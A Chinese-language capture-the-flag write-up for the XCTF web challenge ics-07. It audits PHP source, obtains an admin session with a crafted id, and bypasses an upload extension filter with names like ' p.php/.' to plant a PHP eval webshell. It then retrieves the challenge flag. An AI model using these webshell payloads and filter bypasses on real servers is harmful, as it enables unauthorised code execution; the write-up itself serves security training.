攻防世界-web-ics-07

发布于:2023-01-07 ⋅ 阅读:(109) ⋅ 点赞:(0)

打开环境,熟悉的界面 

 随便点点,只有一个界面能打开,项目管理

查看源代码

 

找到view-source.php查看源代码

 

一段段进行代码审计

<?php
    session_start();

    if (!isset($_GET[page])) {
      show_source(__FILE__);
      die();
    }

    if (isset($_GET[page]) && $_GET[page] != 'index.php') {
      include('flag.php');
    }else {
      header('Location: ?page=flag.php');
    }

    ?>

 get通过page传参,不能是index.php,否则包含flag.php,直接重定向到flag.php(就是界面没变)

<?php
     if ($_SESSION['admin']) {
       $con = $_POST['con'];
       $file = $_POST['file'];
       $filename = "backup/".$file;

       if(preg_match('/.+\.ph(p[3457]?|t|tml)$/i', $filename)){
          die("Bad file extension");
       }else{
            chdir('uploaded');
           $f = fopen($filename, 'w');
           fwrite($f, $con);
           fclose($f);
       }
     }
     ?>

判断session是不是admin,然后获取到一些值(应该就是我们post传上去的),如果匹配到php3457,pht,phtml这种特殊的后缀名,那么就结束。如果没有匹配到,那么就写入文件

<?php
      if (isset($_GET[id]) && floatval($_GET[id]) !== '1' && substr($_GET[id], -1) === '9') {
        include 'config.php';
        $id = mysql_real_escape_string($_GET[id]);
        $sql="select * from cetc007.user where id='$id'";
        $result = mysql_query($sql);
        $result = mysql_fetch_object($result);
      } else {
        $result = False;
        die();
      }

      if(!$result)die("<br >something wae wrong ! <br>");
      if($result){
        echo "id: ".$result->id."</br>";
        echo "name:".$result->user."</br>";
        $_SESSION['admin'] = True;
      }
     ?>

这里判断id是否存在,floatval这里用的!==,所以类型也要比较,后变为字符串string,前面为数值float,所以肯定不相等。
substr用来返回字符串
然后进行数据库的查询,并且进行了转义

综合上面三段代码进行分析

第一段是个简单的重定向,get参数page不为index.php即可
第二段 需要得到一个admin的session,之后可以post传入con与file两个参数
File参数是自定义的文件名字,之后会处理为backup/文件名
这里对文件名进行了过滤,防止后缀名是php等后缀名的文件。
上传成功后,会切换到uploaded目录,创建文件,并将con的内容写入,
那么实际文件的路径就是:uploaded/backup/xxx.xxx
第三段代码是对get参数id进行校验,如果id的浮点数不是1,且最后一位是9那么实行查询语句,如果查询正确,会得到一个admin的session
因此我们这里就需要满足所有需求 

写一个payload获取 

?page=flag.php&id=1mlws9

 

然后进行文件上传,利用bp进行post传参

file=1.php.xxx&con=<?php @eval($_GET['cmd'])?>

 用蚁剑连接webshell,界面已经被解析了(Apache文件解析漏洞),但是连接不上

这方法失败了

换了另一个payload,依旧解析成功,还是连接失败

file=test.php/1.php/..&con=<?=@eval($_POST['cmd']);

 

又换了一个payload(前面必须加空格,这个成功了,不知道什么原因)

file= p.php/.&con=<?=@eval($_POST['cmd']);

蚁剑连接,有显示%20 

 

 

找到flag

cyberpeace{b2e49a0c91b8e7418a236cf920b8bdef}

 

 

本文含有隐藏内容,请 开通VIP 后查看